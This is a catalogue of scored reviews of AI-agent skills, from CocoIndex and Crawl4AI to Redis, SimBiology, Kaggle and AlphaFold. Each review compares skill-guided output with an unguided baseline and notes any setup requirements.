- **CocoIndex** [pass, 10/10] — Turns vague 'build me a RAG pipeline' requests into working CocoIndex flow code with the real API syntax. Repo: https://github.com/cocoindex-io/cocoindex-claude. Card: https://skillproof.dev/skills/cocoindex. What we found: Asked for a flow that chunks, embeds, and exports docs to Postgres+pgvector: the skill's version used CocoIndex's real decorator/row-iteration API and caught the documented 'assign to item[field], not a local variable' gotcha, while an unguided attempt invented a generic .chunk()/.embed() API that doesn't exist in the library.
- **Crawl4AI** [pass, 10/10] — Wraps the Crawl4AI browser scraper for JS-heavy sites, batch crawls, and LLM-free schema extraction. Repo: https://github.com/brettdavies/crawl4ai-skill. Card: https://skillproof.dev/skills/crawl4ai. What we found: Ran the skill's exact recommended command against a live JS-rendered test page: a naive curl+CSS-selector scrape returned zero quotes, while `crwl ... -c wait_until=networkidle` returned all ten quotes with authors and tags cleanly formatted in markdown.
- **National Team Position** [pass, 10/10] — Fetches real Shanghai Exchange ETF-share data to estimate China's 'national team' broad-base ETF positioning. Repo: https://github.com/Xiaoyuan-Liu/national-team-position. Card: https://skillproof.dev/skills/national-team-position. What we found: Ran the bundled script for real against live Shanghai Exchange data (2026-06-01 to 2026-07-10): it correctly surfaced a concrete, checkable signal -- HS300 ETF shares fell 730 to 429 (亿份, -301 net) since their 6/12 peak while CSI1000/A500/STAR50 held roughly flat to up -- and produced all 8 documented output files (7 PNGs + JSON) with zero errors, matching the README exactly, Chinese labels rendering cleanly.
- **Conjoint Design** [pass, 10/10] — A citation-backed conjoint-experiment methodologist: attribute design, power math, and AMCE/AMIE estimation done right. Repo: https://github.com/scdenney/open-science-skills. Card: https://skillproof.dev/skills/conjoint-design. What we found: Ran a real A/B on an election-candidate conjoint design: the unguided baseline used Cohen's-d power benchmarks, added a raw interaction dummy for AMIE, and claimed 'voters prefer X' from a significant AMCE - the skill's own text flags all three as documented methodological errors and additionally caught a forced-choice/abstention validity issue specific to the electoral framing.
- **SWMM Anywhere** [pass, 10/10] — Synthesizes a runnable SWMM stormwater network from OSM+DEM when you have no real pipe data. Repo: https://github.com/Zhonghao1995/agentic-swmm-workflow. Card: https://skillproof.dev/skills/swmm-anywhere. What we found: Actually ran it end-to-end on a real 1x1km London Greenwich bbox: it downloaded live OSM/DEM data and produced a real SWMM .inp with exactly 33 outfalls -- matching the SKILL.md's documented spike-test number to the digit -- and independently confirmed the doc's claimed Apple-Silicon pyswmm SIGKILL bug (exit code 137 on direct import) while the skill's own stub avoided it.
- **Metrics Review** [setup, 9.6/10] — Turns pasted or queried metrics into a structured weekly/monthly/quarterly review — scorecard, trend analysis, bright spots vs. concerns, recommended actions. Does not build the dashboard itself. Repo: https://github.com/anthropics/knowledge-work-plugins. Card: https://skillproof.dev/skills/metrics-review. What we found: Verdict forced to setup for the same ../../CONNECTORS.md external-file dependency as its sibling dashboard-builder skill. On a 3-metric weekly snapshot (WAU down, retention below target, conversion down, no known incidents) it explicitly flagged the missing-explanation caveat in a dedicated Context and Caveats section ('correlation is not causation... no known events') where a plain restatement of the numbers just said things looked soft.
- **Adaptyv** [pass, 9.6/10] — Submit and track protein binding/stability assays via Adaptyv's Foundry API and Python SDK. Repo: https://github.com/K-Dense-AI/scientific-agent-skills. Card: https://skillproof.dev/skills/adaptyv. What we found: An answer written from memory guessed the wrong base URL, sequence format and status string; following the docs matched the real API schema exactly, catching 4 concrete errors that would fail live.
- **DeepChat Data Import** [pass, 9.6/10] — Build read-only importers/migration tools for DeepChat's encrypted SQLite chat data Repo: https://github.com/ThinkInAIXYZ/deepchat. Card: https://skillproof.dev/skills/deepchat-data-import. What we found: An unguided export plan hedged with 'likely under Application Support'; the skill produced exact per-OS paths, the real database pragma sequence, working table names and explicit redaction rules for API keys.
- **Financial Analyzing** [pass, 9.6/10] — Calculates margins, ROI, ROA/ROE from raw P&L numbers and drafts a benchmarked financial report. Repo: https://github.com/huangjia2019/claude-code-engineering. Card: https://skillproof.dev/skills/financial-analyzing. What we found: Actually ran scripts/calculate_ratios.py against a synthetic P&L (revenue $1.2M, net income $180K) -- it correctly returned 58.33% gross margin, 15% net margin, 7.2% ROA and 20% ROE in under a second, and the bundled profitability.md benchmarks flagged the ROE-vs-ROA spread as a leverage red flag a plain prompt-only baseline never surfaced.
- **DT Platform Costs** [pass, 9.6/10] — Turns Dynatrace DPS billing events into ranked cost-driver reports via DQL — never fabricates dollar figures. Repo: https://github.com/Dynatrace/dynatrace-for-ai. Card: https://skillproof.dev/skills/dt-platform-costs. What we found: Hard-codes a 'never show cost_weight as a dollar figure' rule plus a verbatim pre-results disclaimer; run against its own worked example (62.3 TiB log ingest, 51.5M RUM sessions) it refuses the fabricated $ estimates a bare model would guess at.
- **Arize AI Provider Integration** [pass, 9.6/10] — CRUDs Arize's stored LLM-provider credentials (OpenAI, Anthropic, Bedrock, Vertex, Gemini, NIM) via the ax CLI. Repo: https://github.com/github/awesome-copilot. Card: https://skillproof.dev/skills/arize-ai-provider-integration. What we found: Gave it a Bedrock-integration task with a real IAM role ARN: the skill produced `ax ai-integrations create --provider awsBedrock --provider-metadata '{"role_arn":...}'` while an unguided guess used the wrong subcommand, wrong provider casing, and illegally passed --space to create (the docs explicitly call out that create is account-scoped and doesn't take --space).
- **Redis Clustering** [pass, 9.6/10] — Design cluster-safe Redis keys and route reads to replicas without CROSSSLOT errors. Repo: https://github.com/redis/agent-skills. Card: https://skillproof.dev/skills/redis-clustering. What we found: Asked it to LMOVE between a user's pending/processed lists and serve a feed read from a replica: baseline code used bare 'user:1001:pending' keys that CROSSSLOT in a real cluster, the skill version wrapped them in '{user:1001}' and set read_from_replicas=True — a concrete production-crash-vs-not difference.
- **Simulate SimBiology Model** [pass, 9.6/10] — Runs SimBiology ODE/SSA simulations and sensitivity analysis while dodging known unit and logging bugs. Repo: https://github.com/matlab/matlab-agentic-toolkit. Card: https://skillproof.dev/skills/matlab-simulate-simbiology-model. What we found: Catches the SimBiology gotcha most hand-written scripts miss: without cs.TimeUnits='hour' paired with UnitConversion, a 24-unit StopTime silently simulates 24 seconds, and constant parameters used inside ratio observables (e.g. Drug./Vd) vanish unless explicitly added to StatesToLog.
- **Dynatrace Security Semantic Mapping** [pass, 9.6/10] — Validates security-vendor field mappings against Dynatrace's semantic dictionary, citing the exact rule for every gap. Repo: https://github.com/Dynatrace/dynatrace-for-ai. Card: https://skillproof.dev/skills/dt-sec-semantic-mapping. What we found: Ran a real static validation (Workflow B1) against a bundled Qualys/Tenable sample and it caught a genuine, rule-cited bug: one Tenable finding has finding.time.created = null even though scan.time.completed was sitting right there as a valid derivation source, plus a missing component.name required for any VULNERABILITY_FINDING — exactly the kind of specific, actionable gap a naive read of the same JSON would have missed.
- **Arize Annotation** [pass, 9.6/10] — Exact `ax` CLI syntax for Arize annotation configs, human-review queues, and bulk span labeling. Repo: https://github.com/github/awesome-copilot. Card: https://skillproof.dev/skills/arize-annotation. What we found: Asked it to bulk-apply correctness labels to spans: it produced the exact pandas DataFrame schema (`context.span_id` + `annotation.<name>.label`/`.score`/`.updated_by`) and correctly surfaced the 31-day annotation window limit — specifics a baseline guess at Arize's API would have missed or invented wrong.
- **Simulating Simulink Models** [pass, 9.6/10] — Programmatic Simulink simulation via SimulationInput/Output, sweeps, and parsim. Repo: https://github.com/matlab/simulink-agentic-toolkit. Card: https://skillproof.dev/skills/simulating-simulink-models. What we found: Ran a 3-value Kp sweep both ways: the naive baseline used set_param+assignin (global-state mutation the skill explicitly bans); the skill version built a SimulationInput array with setVariable and UseFastRestart, matching MathWorks' own guardrails verbatim.
- **Research Innovation Explorer** [pass, 9.6/10] — Turns a vague research-idea request into a sourced paper pool, scored idea matrix, and report. Repo: https://github.com/foryourhealth111-pixel/research-innovation-explorer. Card: https://skillproof.dev/skills/research-innovation-explorer. What we found: Fed it a live topic (efficient long-context retrieval for LLM agents) with two real papers pulled via search; its structured decomposition produced a falsifiable hybrid hypothesis with explicit baselines, a full alpha-sweep, and a named failure condition, versus 'combine A and B, probably novel' from an unguided baseline.
- **Data Storyteller** [pass, 9.6/10] — Turns a CSV into a narrative report: outliers, correlations, time-series trend, executive summary. Repo: https://github.com/dkyazzentwatwa/chatgpt-skills. Card: https://skillproof.dev/skills/data-storyteller. What we found: Ran the bundled data_storyteller.py on a synthetic 200-row sales CSV with one planted outlier: it caught exactly that row (outlier_pct 0.5%), flagged the resulting right-skew (skewness 7.13), found the real marketing-spend/revenue correlation (r=0.52), and wrote a clean plain-English executive summary - fully working, not a stub.
- **Arize Evaluator** [pass, 9.6/10] — Build and run LLM-as-judge evaluators on Arize via the ax CLI, with column mapping and monitoring. Repo: https://github.com/github/awesome-copilot. Card: https://skillproof.dev/skills/arize-evaluator. What we found: Its troubleshooting table flags a 1-2 hour eval-index lag that silently scores 0 spans, and that trigger-run needs bare-ISO timestamps with no trailing Z — exactly the operational gotchas a baseline guess at the ax CLI would get wrong.
- **Semantic Scholar Search** [pass, 9.6/10] — Structured 4-phase Semantic Scholar search with a Python helper that handles rate limits and boolean queries. Repo: https://github.com/Agents365-ai/semanticscholar-skill. Card: https://skillproof.dev/skills/semanticscholar-skill. What we found: Live-tested against the real API: a naive direct call (no skill) hit a 429 immediately, while the skill's s2.py script (built-in backoff, snake_case-to-camelCase filter translation) returned 10 real, correctly-filtered RAG-for-code papers with citation counts on the first try.
- **MotherDuck Build CFA App** [pass, 9.6/10] — Architects MotherDuck-backed customer-facing analytics apps with per-tenant isolation. Repo: https://github.com/motherduckdb/agent-skills. Card: https://skillproof.dev/skills/motherduck-build-cfa-app. What we found: Explicitly steers away from the 'shared tenant_id filter' pattern most generic advice defaults to, naming it a fallback rather than a recommendation, and ships a working customer_routing_example.py/.ts pair (both fetched and confirmed present) demonstrating per-customer database routing.
- **Heartbeat Log** [pass, 9.6/10] — Parses WoterClip's heartbeat-log.jsonl into a formatted history table plus per-persona analytics. Repo: https://github.com/wotai-dev/woterclip. Card: https://skillproof.dev/skills/heartbeat-log. What we found: Fed it a real 6-entry heartbeat-log.jsonl with one malformed line: it produced the exact formatted table and stats the SKILL.md promises (per-persona averages, 33% completion rate, most-active-issue, blocked list) and correctly flagged and skipped the bad line — clearly sharper than an unguided prose summary of the same file, which mis-happens to just eyeball it and skip the edge case entirely.
- **Single-Cell RNA-seq QC** [pass, 9.6/10] — Automated scverse-style QC for .h5ad/.h5 single-cell data with MAD-based filtering and diagnostic plots. Repo: https://github.com/biocontext-ai/skill-to-mcp. Card: https://skillproof.dev/skills/single-cell-rna-qc. What we found: Ran scripts/qc_analysis.py end-to-end on a synthetic 300-cell AnnData file: it auto-derived MAD thresholds, flagged 45 outlier cells (15%), and wrote 3 real diagnostic PNGs plus filtered and QC-annotated h5ad outputs -- a fixed-threshold baseline script produced only a filtered file with zero visualizations and no adaptive reasoning.
- **LAMMPS Workflows** [pass, 9.6/10] — Real, tested LAMMPS helper scripts for input generation, job checks, log summaries, and NaN-thermo crash recovery. Repo: https://github.com/chatmaterials/lammps-workflows. Card: https://skillproof.dev/skills/lammps-workflows. What we found: Ran the exact command sequence from the README's own 'Local Validation' section end-to-end against the bundled nan-thermo fixture and every script reproduced cleanly — recommend_lammps_recovery.py correctly diagnosed the fixture's real 'Lost atoms' error and NaN thermo line, then produced a concrete restart plan, well beyond what a generic (non-skill) crash-recovery answer gave for the same fixture.
- **Serenity Analyst** [pass, 9.6/10] — Supply-chain chokepoint stock analysis distilled from investor Serenity's methodology. Repo: https://github.com/videGavin/serenity-analyst. Card: https://skillproof.dev/skills/serenity-analyst. What we found: Asked it to analyze the lesser-covered $SMTOY leg of the InP-substrate duopoly: the skill correctly pulled the exact bundled quote ('bottlenecked by two companies: AXTI $700M / SMTOY $31.7B'), applied the anti-P/E rule, and downgraded it to 'satellite not core' per the graph's own stance tag -- a specific, non-generic call a plain LLM answer could not produce.
- **SentinelOne PowerQuery** [setup, 9.6/10] — Authors and runs SentinelOne PowerQuery threat-hunting and detection-rule queries correctly Repo: https://github.com/pmoses-s1/claude-skills. Card: https://skillproof.dev/skills/sentinelone-powerquery. What we found: Skill folder is fully self-contained (10 reference files + 4 example files, all verified present via raw GitHub fetch), but every query still needs a live paid SentinelOne Singularity Data Lake tenant plus an API JWT to actually execute — there's no way to run one against a real dataset in this environment, so correctness was verified against the skill's own documented rules, not a live 200 response.
- **ROBOT OBO Tool** [pass, 9.6/10] — Command reference for ROBOT, the standard OBO-ontology CLI: reasoning, TSV-to-OWL templates, QC, format conversion. Repo: https://github.com/ai4curation/curation-skills. Card: https://skillproof.dev/skills/robot-obo-tool. What we found: Installed real Java + downloaded the actual ROBOT jar from ontodev/robot and ran it live: a naive template TSV (no skill guidance) failed immediately with UNKNOWN TEMPLATE ERROR, while the skill's documented 3-row template format (headers / template-strings like 'SC %' and 'A rdfs:comment' / data) produced valid OWL that then converted cleanly to OBO with the exact documented command.
- **Chanlun Trading System** [pass, 9.6/10] — Forces Chan-theory (缠论) A-share/HK/futures analysis through structural audit gates before any buy/sell call. Repo: https://github.com/noahnan-max/chanlun-trading-system. Card: https://skillproof.dev/skills/chanlun-trading-system. What we found: Given only indicator-level description (MACD divergence + 30m MA breakout, no center/pivot data), the skill correctly refuses to call it a third buy point and names the exact two forbidden shortcuts it violates, where an unguided baseline just calls it a buy signal.
- **Base R** [pass, 9.6/10] — Base-R-only reference (no tidyverse/ggplot2) with gotcha docs and a bundled data-quality-check script. Repo: https://github.com/iremaydas/base-r-skill. Card: https://skillproof.dev/skills/base-r. What we found: Actually installed R via Homebrew and ran both versions on a synthetic sales.csv with 5% missing revenue: the naive baseline's mean-by-region silently returned all-NA because it omitted na.rm=TRUE, while the skill-guided version (using the bundled check_data.R plus na.rm-aware tapply/aov/TukeyHSD) caught the 10 NAs and 6 duplicate rows up front and produced correct group means and a saved boxplot PNG.
- **Body Composition** [pass, 9.6/10] — Computes body-fat % from skinfold calipers via Durnin-Womersley/Jackson-Pollock using a real pip library. Repo: https://github.com/Jeffallan/Fitness-Tools. Card: https://skillproof.dev/skills/body-composition. What we found: Installed the real `fitness-tools` PyPI package (matches this same repo, v1.0.1) and ran the documented `DurninWomersley` import verbatim: for a 28-year-old male with 12/8/15/18mm skinfolds it returned density 1.05413 and Siri body fat 19.6%, which hand-checks exactly against the age-bracket coefficients in the bundled references/equations.md.
- **ChatBI MVP Architecture** [pass, 9.6/10] — Reference architecture for building a conversational BI (NL-to-SQL) MVP. Repo: https://github.com/yugef3h/leo-skills. Card: https://skillproof.dev/skills/chatbi-mvp. What we found: Design task 'wire up NL query to SQL with a semantic layer' got a shallow direct-LLM-to-SQL answer from an unguided baseline; the skill forced the two-stage S2SQL-then-deterministic-translator split (with a corrector chain and self-consistency voting) that concretely blocks the table-name-hallucination failure mode the naive design is prone to.
- **InferSports Odds & Scores** [pass, 9.6/10] — Keyless live football/basketball odds, scores & de-vigged fair probabilities Repo: https://github.com/infersports/infersports-skill.git. Card: https://skillproof.dev/skills/infersports. What we found: Ran the live keyless API and it returned real current fixtures dated today, a sharp Asian-handicap line with book count and a stale-data warning, and de-vigged fair percentages. Every claim held up: read-only, no key needed, and the no-pick guardrail printed verbatim even on value edges; odds conversion checked out against hand math offline. Without the skill there is simply no way to pull live scores or sharp lines, so the delta over a no-skill baseline is total.
- **ClickHouse Analytics Patterns** [pass, 9.6/10] — ClickHouse table design, ordering keys, materialized views, and query optimization Repo: https://github.com/arabicapp/everything-claude-code. Card: https://skillproof.dev/skills/clickhouse-io. What we found: Ran the skill's patterns live on a real 20M-row table in ClickHouse 26.7: its ORDER BY (date, market_id) + monthly partitioning cut a filtered query from a full 20M-row scan (2443 granules) to 286K rows (35 granules), and its AggregatingMergeTree materialized view answered an hourly rollup by reading 360K pre-aggregated rows instead of re-scanning all 20M — identical results, ~55-70x fewer rows touched.
- **Tufte** [pass, 9.2/10] — Rewrites any chart to Edward Tufte's data-ink rules: kill 3D/pies/legends, label data directly. Repo: https://github.com/aref-vc/tufte-claude-skill. Card: https://skillproof.dev/skills/chart-critic. What we found: Ran the 20-item checklist against a 5-quarter revenue bar chart: baseline output (no skill) left a legend, alphabetical-ish ordering and no highlighted anomaly; the skill version sorted by value, direct-labeled bars, and put the single accent color on the Q3 dip per the kill-list's 'not flat' rule. (Listed here under our older name; the skill's own name is "Tufte".)
- **Browser Act Skill Forge** [setup, 9.2/10] — Turns one-off browser exploration into a reusable, versioned scraping/automation skill. Repo: https://github.com/browser-act/skills. Card: https://skillproof.dev/skills/browser-act-skill-forge. What we found: Needs a separate BrowserAct API key and the companion browser-act skill before anything runs - disclosed in the docs but not trivial.
- **ReacNetGenerator** [pass, 9.2/10] — Runs ReacNetGenerator on LAMMPS/ReaxFF trajectories to build reaction networks and reports. Repo: https://github.com/jinzhezenggroup/computational-chemistry-agent-skills. Card: https://skillproof.dev/skills/reacnetgenerator. What we found: Asked it to plan a first-pass run on an xs/ys/zs LAMMPS dump with no separate data file: it steered to the reacnet-md-tools wrapper and --nohmm instead of inventing reacnetgenerator flags from memory — exactly the hallucination failure mode a niche chemistry CLI skill needs to prevent.
- **Update LLM Pool** [pass, 9.2/10] — Exact CLI reference for refreshing this wiki's LLM-paper citation pool via Semantic Scholar, including checkpoint resume. Repo: https://github.com/kimtth/azure-openai-llm-wiki. Card: https://skillproof.dev/skills/update-llm-pool. What we found: Cross-checked the documented flags against the live code/fetch_llm_papers.py: --api-key-env defaults to S2_API_KEY, --reset deletes the checkpoint, and 'resume' just means re-running without --reset — every claim matched the actual argparse block exactly.
- **MATLAB Fit SimBiology Model** [pass, 9.2/10] — Correct fitproblem/NLME/NCA patterns for SimBiology PK fitting; catches sbiofit pitfalls. Repo: https://github.com/matlab/matlab-agentic-toolkit. Card: https://skillproof.dev/skills/matlab-fit-simbiology-model. What we found: Compared code for a one-compartment oral-PK fit: the no-skill baseline calls sbiofit directly with a plain table and no bounds (exactly the error-prone pattern the skill's own docs warn against); the skill-guided version wraps groupedData, sets ResponseMap='Drug = Drug', adds bounds plus log-transform on ke/ka, and starts with scattersearch per the decision table.
- **Dynatrace Log Semantic Mapping** [pass, 9.2/10] — Maps vendor audit-log payloads to Dynatrace's semantic dictionary and drafts the OpenPipeline extraction rules. Repo: https://github.com/Dynatrace/dynatrace-for-ai. Card: https://skillproof.dev/skills/dt-obs-log-semantic-mapping. What we found: Ran Workflow A against a synthetic Duo Security auth payload: the skill correctly refused to map the vendor's event timestamp to Dynatrace's `timestamp` field (auto-set on ingest) and routed it to `audit.time` instead — validation-rules.md explicitly flags the opposite mistake as a 'major' error — then stopped for approval before drafting the OpenPipeline sketch, exactly as documented. Fully self-contained: every referenced reference file and sample lives inside its own skill folder, no sibling dependency.
- **NetFlows** [pass, 9.2/10] — Extracts pcap network flows and resolves them to hostnames via in-capture DNS Repo: https://github.com/BrownFineSecurity/iothackbot. Card: https://skillproof.dev/skills/netflows. What we found: Built a synthetic pcap with scapy (a DNS-resolved 'C2 beacon' flow plus an unresolved IP) and ran the real netflows CLI end to end — it correctly resolved the beacon's hostname from the in-capture DNS response while correctly leaving the non-DNS'd IP as unresolved, matching the documented JSON schema exactly.
- **Pinecone CLI** [pass, 9.2/10] — Terminal-first Pinecone: raw vector ops, backups, namespaces the MCP can't touch. Repo: https://github.com/pinecone-io/pinecone-claude-code-plugin. Card: https://skillproof.dev/skills/pinecone-cli. What we found: Ships the exact `pc backup create -i/-n` and `pc index vector delete --all-vectors` syntax; a guess from general CLI conventions (binary name `pinecone`, `--index`/`--name` flags) gets both the binary and the flags wrong where this skill doesn't.
- **Analyzing Experiment Session Replays** [pass, 9.2/10] — Compares PostHog session replays across A/B experiment variants for qualitative insight. Repo: https://github.com/PostHog/ai-plugin. Card: https://skillproof.dev/skills/analyzing-experiment-session-replays. What we found: Documents a real PostHog footgun: the type:flag recording filter silently returns unfiltered results, so it directs you to scope variants via the $feature/<flag_key> event property instead — a gotcha a generic replay-analysis answer would never surface.
- **India News Tracker** [pass, 9.2/10] — Categorizes and impact-scores Indian market news, SEBI filings, and earnings by sentiment. Repo: https://github.com/ajeeshworkspace/indian-trading-skills. Card: https://skillproof.dev/skills/india-news-tracker. What we found: Live-ran a Reliance Industries news pull: an unguided single web search silently returned a revenue figure (~Rs 10.57 trillion) that conflicted with the figure from the skill's disciplined tiered, multi-source search (~Rs 11.75 lakh crore per moneycontrol-adjacent coverage and BSE's own Q4 filing) -- exactly the cross-referencing discipline the skill's Quality Standards section exists to enforce.
- **B2 Cloud Storage** [setup, 9.2/10] — Audits, costs out, and safely cleans up Backblaze B2 buckets with mandatory dry-runs. Repo: https://github.com/backblaze-labs/claude-skill-b2-cloud-storage. Card: https://skillproof.dev/skills/b2-cloud-storage. What we found: Its own cleanup-playbook.md uses the real `b2 rm -r --dry-run` flow (no invented flags); a naive baseline answer to the same cleanup request hallucinated a non-existent `--older-than` flag and skipped the dry-run entirely. Needs the b2 CLI pre-installed and manually authorized (`b2 account authorize`, interactive-only) before the skill can do anything real.
- **Kafka Connector Review** [pass, 9.2/10] — Audits Kafka Connect configs for silent-data-loss DLQ gaps, bad converters, and task-count issues. Repo: https://github.com/lensesio/agentic-engineering-for-apache-kafka. Card: https://skillproof.dev/skills/kafka-connector-review. What we found: Ran both reviews on the same throwaway Elasticsearch sink config: a generic review only flagged the long transform chain, while the skill's checklist caught errors.tolerance=all with no DLQ topic configured - a silent-message-drop bug the generic pass missed entirely.
- **arXiv Lookup** [pass, 9.2/10] — Live arXiv API calls for paper IDs and journal DOIs -- no guessed metadata. Repo: https://github.com/ultimatile/arxiv-skills. Card: https://skillproof.dev/skills/arxiv-lookup. What we found: Ran both bundled scripts live against the real arXiv API: search_id.py correctly ranked arXiv:1706.03762 ('Attention Is All You Need') first of 3 results, and get_doi.py correctly reported no journal DOI exists (exit 1) instead of guessing one -- a verifiable, non-hallucinated answer that a memory-only baseline can't guarantee.
- **AgentX** [setup, 9.2/10] — Go CLI that drives X/Twitter for agents, one JSON envelope per command. Repo: https://github.com/DezXBT/AgentX. Card: https://skillproof.dev/skills/agentx. What we found: Real command dispatch (`posts`, `analytics`, `reply`, `grok`, etc.) checked line-for-line against cmd/agentx/main.go and it matches SKILL.md exactly, but the skill is inert until you compile the Go binary and paste in auth_token/ct0 cookies pulled from a logged-in browser — no sandbox network calls were possible to verify live.
- **Analysis Planner** [pass, 9.2/10] — Forces hypothesis-first analysis planning before you touch a query Repo: https://github.com/florianbonnet14/ThePowerOfAnalytics_ClaudeSkills. Card: https://skillproof.dev/skills/analysis-planner. What we found: Ran a real WAU-drop scenario baseline-vs-skill: unguided output jumped straight to pulling data, the skill output produced 5 prioritized, falsifiable hypotheses with per-hypothesis chart specs and an exec-ready structure -- a genuinely different (better) deliverable, not just more words.
- **GitHub Demand Radar** [setup, 9.2/10] — Mines a GitHub repo's issues/PRs for RICE-scored commercial product opportunities. Repo: https://github.com/geekjourneyx/github-demand-radar. Card: https://skillproof.dev/skills/github-demand-radar. What we found: Ran the real Phase 1-4 pipeline live against charmbracelet/glow's actual GitHub issues (gh api + gh issue view, authenticated) and it correctly RICE-scored the most narratively appealing candidate (a quoted pty-hack workaround for AI-agent hook integration) at 31.3 - below the 50-point action threshold - where an unstructured baseline pass would have recommended building it on vibes alone; requires gh CLI + jq installed and `gh auth login` completed before first use.
- **Sparebank1 Accounts** [setup, 9.2/10] — Read SpareBank 1 balances, transactions, and spending summaries via the sb1 CLI. Repo: https://github.com/magnusrodseth/sparebank1-cli. Card: https://skillproof.dev/skills/sparebank1-accounts. What we found: Commands in the SKILL.md (accounts, transactions, summary, export) all map 1:1 to real subcommands in src/commands/*.rs, but real use requires registering a personal developer app on developer.sparebank1.no and completing an interactive BankID login before `sb1` returns any data.
- **BioGeoBEARS Biogeographic Analysis** [pass, 9.2/10] — Validates tree/geography input, scaffolds a full BioGeoBEARS analysis folder, and generates a ready-to-run RMarkdown script. Repo: https://github.com/brunoasm/my_claude_skills. Card: https://skillproof.dev/skills/biogeobears. What we found: Ran the bundled validator on real toy data end-to-end: it correctly reformatted a CSV distribution table into PHYLIP format, then caught three real, distinct errors on a deliberately broken file (a space in a species name, wrong binary-code length, an invalid character) and a tree/geography species mismatch, each with a precise line-numbered message -- exactly the kind of debugging a baseline manual setup would burn 20+ minutes discovering by trial and error.
- **Serenity Skill** [pass, 9.2/10] — Ranks supply-chain layers before tickers, with graded evidence and kill switches Repo: https://github.com/muxuuu/serenity-skill. Card: https://skillproof.dev/skills/serenity-skill. What we found: Ran Test 1 from the built-in evals/test-cases.md: 'Deeply research A-share AI semiconductor industry chain, find 5 priority stocks' — first without skill, then strictly according to the body. Baseline response produced a familiar list of hyped tickers (寒武纪, 中芯国际, 海光) without layers, without strength of evidence, and without conditions for refutation — 0 out of 10 skill's own criteria; the skill's version yielded 10 out of 10: first, layer ranking (HBM/memory interconnect → advanced packaging/CMP → consumables), explicit demotion of the most popular layer (pure computing chips) with justification, strong/medium/weak labels on each thesis, a section 'what will prove the conclusion incorrect', and A-share-specific verification paths (互动易, 问询函, 招投标, 环评). The serenity_scorecard.py script was actually executed: weights sum exactly to 100, on my input it yielded 81.0 − 12.0 = 69.0 'Worth tracking', which matched my independent recalculation, and a rating of 99 was correctly rejected with ValueError. Stage 0 clean: read the full body + both Python scripts — only local JSON parsing, no network calls, no secret reading, no hidden instructions; SHA256.txt verifies for 24 out of 26 files (only README.md and README.zh-CN.md differ — manifest is outdated on docs, all executable and instructive content matches). I did not connect live market data, so the quality of the stock ranking itself was not checked — only the methodology was checked, and the skill itself correctly marked the run as initial pass.
- **Serenity Bottleneck Hunter** [pass, 9.2/10] — Reverse-map a theme's supply chain to overlooked upstream bottleneck stocks Repo: https://github.com/Mrjie7205/serenity-bottleneck-hunter. Card: https://skillproof.dev/skills/serenity-bottleneck-hunter. What we found: Executed the anti-hallucination tooling live: price.py pulled real current data for AEHR via the yfinance fallback (last 84.2 on 2026-07-16, -33.5% off the 6-month high, full 9-field momentum profile) instead of a guessed number, and verify_report.py flagged 10 blocking contract violations on a deliberately thin report (missing chain-viz, three-gate, red-team, disclaimer) and returned FAIL. That delivery-contract enforcement is a concrete edge over a free-written baseline. The skill itself honestly states its stock-picking alpha is unvalidated with no real backtest, so the measured win is process discipline, not returns.
- **Design PostGIS Tables** [pass, 9.2/10] — PostGIS spatial schema reference: geometry vs geography, SRIDs, GiST indexing Repo: https://github.com/timescale/pg-aiguide. Card: https://skillproof.dev/skills/design-postgis-tables. What we found: Ran both schemas against a live PostGIS 3.6 instance: the skill's GEOGRAPHY + ST_DWithin design returned the correct 375 restaurants within 2km via a GiST bitmap index scan (cost 7919), while the naive geometry(4326) baseline query returned all 5000 rows because ST_Distance measured degrees not meters, and did it with a full sequential scan (cost 62613). A measured correctness-and-performance win, not just style advice.
- **Build Interactive Dashboards** [setup, 8.8/10] — Generates a single self-contained HTML dashboard (KPI cards, Chart.js, filters, sortable table) — despite the 'no dependencies' claim, charts load Chart.js from a CDN. Repo: https://github.com/anthropics/knowledge-work-plugins. Card: https://skillproof.dev/skills/dashboard-builder. What we found: Verdict forced to setup: SKILL.md points to ../../CONNECTORS.md, two directories above the skill folder, for its 'which tools are connected' placeholders — a file that doesn't exist once you copy only the skill folder as the card's own install command instructs. It also claims 'no server or dependencies required' while its own base HTML template loads Chart.js from a CDN. (Listed here under our older name; the skill's own name is "Build Interactive Dashboards".)
- **PBIP Dependency Analyzer** [pass, 8.8/10] — Maps every Power BI dependency to tell you what's safe to delete and what would break. Repo: https://github.com/lukasreese/powerbi-claude-skills. Card: https://skillproof.dev/skills/pbip-dependency-analyzer. What we found: Fed it a synthetic 6-object Power BI model with a hidden orphan chain — it correctly flagged the Sales-to-Customers foreign key column as always-active even though no visual touched it directly, catching a mistake a naive baseline would have made (deleting a relationship key breaks the model).
- **Monte Carlo Asset Health** [pass, 8.8/10] — Structured freshness/alerts/monitoring/upstream health report for one Monte Carlo asset. Repo: https://github.com/monte-carlo-data/mc-agent-toolkit. Card: https://skillproof.dev/skills/monte-carlo-asset-health. What we found: Report template hard-bans fabricated numbers ('Do NOT infer or fabricate metrics') and forces an explicit refusal when the underlying MCP tools aren't wired up, instead of the generic hallucinated summary a baseline answer would produce.
- **Kaggle** [setup, 8.8/10] — Full Kaggle toolkit — competitions, datasets, models, notebooks, badges — gated behind explicit confirmation for anything account-visible. Repo: https://github.com/shepsci/kaggle-skill. Card: https://skillproof.dev/skills/kaggle. What we found: Code-reviewed the bundled credential checker line by line: it masks tokens, self-heals world-readable permission bits to 600, and never prints raw secrets — solid design — but the skill is unusable out of the box without a Python env, several pip packages, and a Kaggle API token the user has to generate manually.
- **Bright Data Research** [pass, 8.8/10] — Structured web research workflows (search, scrape, extract, report) on top of Bright Data MCP. Repo: https://github.com/liangdabiao/Bright-Data-MCP-Claude-Skill-deep-research. Card: https://skillproof.dev/skills/research-brightdata. What we found: Ran its own phase workflow (official pricing pages instead of blog aggregators) on a 3-tool pricing lookup and it caught a real error the ad-hoc baseline missed: the baseline reported Notion Plus at $10/mo USD from a third-party aggregator, but the primary source actually shows EUR pricing — exactly the kind of cross-reference mistake the skill's own 'Data Quality' step exists to catch.
- **AlterLab AlphaFold (via ColabFold)** [setup, 8.8/10] — Runs AlphaFold2 via ColabFold to fold proteins/complexes and interpret pLDDT/pTM/ipTM/PAE confidence. Repo: https://github.com/AlterLab-IEU/AlterLab-Academic-Skills. Card: https://skillproof.dev/skills/alterlab-alphafold. What we found: Correctly routes a ProteinMPNN-designed peptide into the self-consistency fold-and-check loop and hands the GPU step off to alterlab-remote-compute -- but actual folding needs a CUDA GPU plus multi-GB AlphaFold2 weights that this sandbox doesn't have, so only the guidance layer could be verified.
